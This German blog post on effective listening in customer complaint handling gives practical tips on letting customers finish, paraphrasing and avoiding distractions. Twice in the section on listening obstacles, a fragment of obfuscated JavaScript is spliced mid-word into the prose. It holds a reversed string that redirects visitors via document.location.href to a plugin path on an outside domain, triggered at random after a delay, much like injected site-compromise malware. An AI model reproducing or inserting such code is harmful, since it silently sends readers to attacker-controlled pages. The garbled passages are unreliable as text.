Jeder weiß, was effektives Zuhören heißt, oder?
Es ist jedenfalls mehr als nur mit der schlechten Gewohnheit aufzuhören, dem Kunden ins Wort zu fallen oder seine Sätze zu Ende führen.
Beispiel: „Weiß schon, worum es geht …“
Effektives Zuhören heißt, Ihrem Kunden ausreden lassen. Ihm bereitwillig bis zum Schluss zu folgen, ohne ungeduldig auf die Gelegenheit zu warten ihm zu antworten. Unsere „menschliche“ Unfähigkeit zuzuhören ist in gewisser Weise ein Symbol für die Art wie wir leben. Wir verhalten uns oft so, als sei Kommunikation ein Wettrennen. Oft gewinnt man den Eindruck unser Ziel bestehe darin, zwischen Abschluss des Satzes unseres Gesprächspartners und dem Beginn unserer eigenen Aussage keine Lücke entstehen zu lassen.
Profitieren Sie persönlich durch effektiv Zuhören
Ihr persönlicher Nutzen mit effizientem Zuhören #1
Wenn Sie sich bei Ihren Antworten ein wenig zurückhalten und so ein besserer Zuhörer werden, hilft Ihnen das zu mehr Ausgeglichenheit. Und es nimmt Ihnen den Druck.
Es erfordert doch einiges an Energie und ist mit sehr viel Stress verbunden immer erraten zu wollen, was Ihr Kunde im persönlichen Gespräch oder am Telefon wohl als nächstes sagen wird, damit Sie gleich eine Entgegnung parat haben.
Wenn Sie hingegen warten bis der Kunde, mit dem Sie ein Gespräch führen, fertig ist, wenn Sie einfach aufmerksam das Gesagte in sich aufnehmen, werden Sie merken, wie dieser Druck von Ihnen abfällt. Sie fühlen sich entspannter und genauso wird es Ihrem Kunden ergehen. Damit nehmen Sie ihm auch „den Wind aus den Segeln“.
Sie werden merken, dass Sie sich nicht mehr in einem Wettstreit um die „Sendezeit“ befinden und werden auch nicht mehr das Bedürfnis haben, sofort antworten zu müssen. Nicht nur Sie werden durch geduldiges Zuhören ein geduldiger Mensch, nein, auch Ihre Kunden-Beziehungen können dadurch nur gewinnen. Denn jeder spricht gern mit einem Menschen, der ihm wirklich zuhört.
Kunden mit denen Sie reden, werden sich entspannen, denn sie bemerken, dass man ihnen wirklich zuhört. Und Sie werden auch rasch merken, wie viel entspannter Sie sich fühlen, wenn Sie aufhören Ihrem Kunden ins Wort zu fallen.
Ihr Herzschlag und Puls werden sich verlangsamen, und Sie werden diese stressfreien Gespräche richtig gehend genießen. Dies ist eine ganz einfache Methode entspannter, sympathischer und schließlich erfolgreicher zu werden.
Ihr persönlicher Nutzen mit effizientem Zuhören #2
Effektives Zuhören bedeutet für Sie:
- Sie finden heraus, was die Kunden wollen und brauchen.
- Sie vermeiden Missverständnisse und Irrtümer.
- Sie erhalten Hinweise darauf, wie Sie Ihren Service verbessern können.
- Sie bauen langfristige Kundenbeziehungen auf.
Die meisten Menschen nehmen nur etwa 25 Prozent von dem auf, was sie hören. Was geschieht mit den restlichen 75 Prozent? Sie werden einfach überhört und ausgeblendet, als hätten wir sie gar nicht gehört. Zuhören ist jedoch derart wichtig, dass es doch verwundern kann, wie wenig es uns gelingt.
Zu einer professionellen Reklamations-Behandlung gehört das effektive Zuhören, Verstehen und das Eingehen auf den Kunden. Deshalb ist effektives Zuhören eine wichtige Fertigkeit, die sich jeder aneignen sollte, der an einer positiven Kundenkommunikation interessiert ist.
Wer gut zuhört, wird nichts spontan vermuten – und dabei riskieren, einen falschen Schluss zu ziehen und keine passende Lösung anzubieten. Ein Kunde ist meistens willens, bereit und in der Lage, Ihnen alles (oder zumindest beinahe alles) zu sagen, was Sie wissen müssen.
Versuchen Sie immer zu hinterfragen, wenn Sie den Eindruck haben, Ihr Gesprächspartner könnte seine Worte anders meinen, als Sie sie interpretieren.
Lesen Sie in diesem Beitrag über die Vorteile einer professionellen Fragetechnik
Wie Sie Ihre Fähigkeit des effektiven Zuhörens weiter entwickeln können
Ihr Lernschritt #1 zum effektiven Zuhören
Hören Sie auf andere zu unterbrechen oder ihre Sätze zu Ende zu führen.
Überlegen Sie einmal. Wenn Sie Ihren Kunden unterbrechen, seinen Satz zu Ende führen wollen, müssen Sie nicht nur bei Ihren eigenen Gedanken den Überblick behalten, sondern auch bei denen Ihres Gesprächspartners. Diese Angewohnheit, die besonders bei viel beschäftigten Menschen sehr häufig anzutreffen ist, treibt beide
Seiten dazu an, immer schneller zu reden und zu denken. Dies wiederum macht beide Gesprächspartner nervös, gereizt und ärgerlich. Es ist schlichtweg anstrengend. Es liegt hierin auch die Ursache für viele Streitereien und Auseinandersetzungen, weil niemand es leiden kann, wenn man ihm nicht zuhört.
Nehmen Sie sich vor, Ihren Kunden ausreden zu lassen ehe Sie spontan antworten. Sie werden merken, wie viel besser die Interaktionen zwischen Ihnen und Ihren Kunden durch diese einfache Strategie werden.
Zugegeben: Ein aufgebrachter Kunde kann seine Beschwerde ziemlich aggressiv vorbringen. Da sind für denjenigen Menschen, der die Reklamation entgegennimmt, oft mehrere Eigenschaften gefordert, wie zum Beispiel: besonnen, entspannt, gefasst, gelassen, zurückhaltend, unerschütterlich, kontrolliert, ruhig.
Das geht doch gar nicht, meinen Sie? Doch, es lässt sich leicht machen. Holen Sie sich viele Tipps aus den Blog-Beiträgen über Stress-Bewältigung und Gelassenheit. Da finden Sie schnelle, spontane Hilfen und auch nachhaltig wirkende Methoden. Damit Sie Ihren Kunden ausgeglichen und effektiv zuhören können.
Zum Beispiel in diesem Beitrag:
Ihr Lernschritt #2 zum effektiven Zuhören
Verbessern Sie Ihre Fähigkeit zum Zuhören, indem Sie sich wichtige Gedanken notieren, wie Sie antworten könnten. Aber lassen Sie sich nicht durch ein Vorformulieren vom Wesentlichen des Gehörten ablenken. Wenn Sie dann antworten, können Sie die wichtigen Punkte, die der Kunde vorgebracht hat, wiederholen und darauf eingehen. Auch wenn Sie nur die einfachen und offensichtlichen Aspekte wiederholen: Sie zeigen dem Kunden damit, dass Sie ihm zugehört und ihn verstanden haben und dass Sie nun bereit sind, auf sein Anliegen, oder sein Problem einzugehen.
So vergewissern Sie sich, dass Sie die Beschwerde, oder das Anliegen Ihres Kunden richtig verstanden haben.
Wenn die Sachlage komplex ist, bestätigen Sie, dass Sie alles verstanden haben, indem Sie die Informationen wiederholen, wie zum Beispiel:
„Gut. Lassen Sie mich rekapitulieren. Sie haben mir einige wichtige Punkte genannt, und ich möchte sichergehen, dass ich sie richtig verstanden haben. Sie haben gesagt, dass…“
Lesen Sie entscheidende Informationen noch einmal vor und überprüfen Sie die richtige Schreibweise von Namen und Firmenanschriften. Vergewissern Sie sich, dass Sie Telefonnummern, Internet- oder E-Mail-Adressen richtig notiert haben. Für Sie selbst ist dies eine Hilfe und für den Kunden die Bestätigung, dass Sie ihm richtig zugehört haben.
Hier noch ein Beitrag zum Erreichen Ihrer schnellen Gelassenheit
Ihr Lernschritt #3 zum effektiven Zuhören
Minimieren Sie Hindernisse beim Zuhören
Eine ganze Reihe von Gegebenheiten kann effektives Zuhören erschweren. Es hilft aber schon oft, auf die möglichen Störfaktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toren hingewiesen zu werden:
Lärm
Lärm am Arbeitsplatz ist gutem Zuhören abträglich. Kann man den Kunden gut verstehen, wenn er in normaler Lautstärke spricht? Oder wird er übertönt von lauter Musik, der Geräuschkulisse des Arbeitsplatzes oder den Stimmen der Kollegen und anderer Kunden?
Unterbrechungen
Kommunikation findet nur dann statt, wenn zwei Menschen zusammen daran arbeiten. Haben Sie schon einmal versucht, Ihrem Kunden in einem persönlichen Gespräch etwas zu erklären, wenn der immer Telefonanrufe entgegennimmt oder über Ihre Schulter hinweg seinen Mitarbeitern Anweisungen zuruft? Solche vermeidbaren Unterbrechungen signalisieren klar:
„Sie sind nicht wichtig“ oder gar „Ich will Ihnen nicht zuhören“.
Sie vermeiden selbstverständlich solche Situationen. Und wenn Sie beim Kunden derartiges erleben, stellen Sie klar, dass Sie nicht damit einverstanden sind. Auch im Interesse des Kunden. Und Sie selbst werden das auch bei Ihnen abstellen? Klar!
Tagträume
Auch Sie selbst können Verursacher einer Unterbrechung sein. Wenn Ihre Gedanken zum gestrigen Kinofilm abschweifen oder wenn Sie immer noch den Ehestreit von heute Morgen durchspielen, dann hat das äußerst negative Auswirkungen auf Ihre Zuhörfähigkeit. Konzentrieren Sie sich auf Ihre Kunden.
Technologien
Viele der modernen Technologien erschweren das effektive Zuhören, auch wenn sie manche Formen der Kommunikation überhaupt erst möglich machen. Handys, Konferenzschaltung, sprachgesteuerte Geräte und Sprechanlagen leisten uns durchaus gute Dienste. Aber es ist andererseits viel schwieriger, jemandem zuzuhören, den man nicht sehen kann oder dessen Stimme durch technische Mittel verzerrt ist.
Vorurteile
Wer seinen Mitmenschen mit vorgefasster Meinung gegenübertritt und sie sofort nach Aussehen, Benehmen oder Ausdrucksweise in Schubladen sortiert, macht es sich schwer zu verstehen, was jemand wirklich sagt. Einmal falsch begonnen, passt man alles, was man später sieht, hört oder erlebt, an sein vorgefertigtes Bild an. Und damit liegt man häufig falsch.
Reizworte
Jeder hat seine wunden Punkte und persönlichen Schwachstellen, auf die der Kunde bei Ihnen ungewollt stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toßen kann. Wenn dies passiert, setzt das Zuhören oft ganz aus. Denken Sie daran, dass Sie erfassen müssen, was der Kunde will, egal welche Formulierungen er benutzt. Worte, bei denen Sie rot sehen, können völlig harmlos
gemeint sein.
Und selbst wenn der Kunde gerade ein Donnerwetter über Ihre letzte Leistung loslässt, so beweisen Sie Anstand und guten Stil, wenn Sie es über sich ergehen lassen.
Lesen Sie in diesem Beitrag über einige konkrete Tipps zu diesem Thema
Weiter zum Thema Minimieren Sie Hindernisse beim Zuhören
Innere Einstellung
Ihr Charakter und ihre innere Einstellung beeinflussen das, was Sie hören und wie Sie darauf reagieren. Defensiv veranlagte Menschen drehen und wenden jedes einzelne Wort und suchen nach einem verborgenen Sinn. Offensiv veranlagte Typen neigen dagegen eher zum Streiten, formulieren bereits Argumente im Stil von
„Lassen Sie mich mal eines klarstellen“,
bevor der andere überhaupt ausgeredet hat. Ihre innere Einstellung sollte Ihnen das Zuhören vereinfachen, statt es zu erschweren.
Auch wichtig: Achten Sie auf die Dinge, die Sie nicht hören, zum Beispiel die der Kunde nicht (mehr) sagt.
Ein Beispiel:
Wenn ein Kunde, der Ihnen stets für die prompte Ausführung eines Auftrags gedankt hat, dies auf einmal nicht mehr tut, dann ist er möglicherweise nicht mehr ganz zufrieden mit Ihrer Leistung. Wenn er auf Ihre Nachfrage seufzt und sagt: „Jaja, war schon recht so“, dann sollte Ihnen klar sein, was er wirklich meint.
Zuhören ist nur zu einem geringen Teil eine Angelegenheit des Gehörs. Vielmehr ist effektives Zuhören eine Sache von Vertrauen, gegenseitiger Achtung, Zuwendung und Informationsaustausch.
Spezial-Thema:
Zuhören in den sozialen Medien?
Wie kann man aus den sozialen Medien erfahren, was über einen gezwitschert wird?
Lesen Sie in diesem Beitrag wertvolle Hinweise zu diesem Thema:
Fazit:
„Der Kunde kauft nicht, weil er alles verstanden hat.
Er kauft (wieder), weil er sich verstanden fühlt.“
Und wie erreichen wir das? In dem wir effektiv Zuhören.
Genauso wie die Produkte und Dienstleistungen Ihres Unternehmens qualitativ hochwertig sein müssen, genauso erstklassig muss auch die Kommunikation mit dem Kunden sein. Die Form, wie mit dem Kunden geredet wird, hat auch einen wesentlichen Anteil an der Kundenbegeisterung.
Bei der Annahme und in der Behandlung von Reklamationen besteht die große Chance, die Erwartungen der Kunden zu übertreffen. Und sie zu begeisterten Stammkunden zu machen.
Es geht darum, wie gut Sie zuhören, den Kunden verstehen und auf ihn eingehen können und ob Sie die Bedürfnisse eines Kunden richtig einschätzen.
Mehr Gewinn mit effektivem Zuhören
Und Action:
Schreiben Sie mir Ihre eigenen Erkenntnisse, Erfahrungen und Meinungen dazu. Ich freue mich auf Ihre Kommentare.
Viel Erfolg und Servus aus Wien
Richard Wagner
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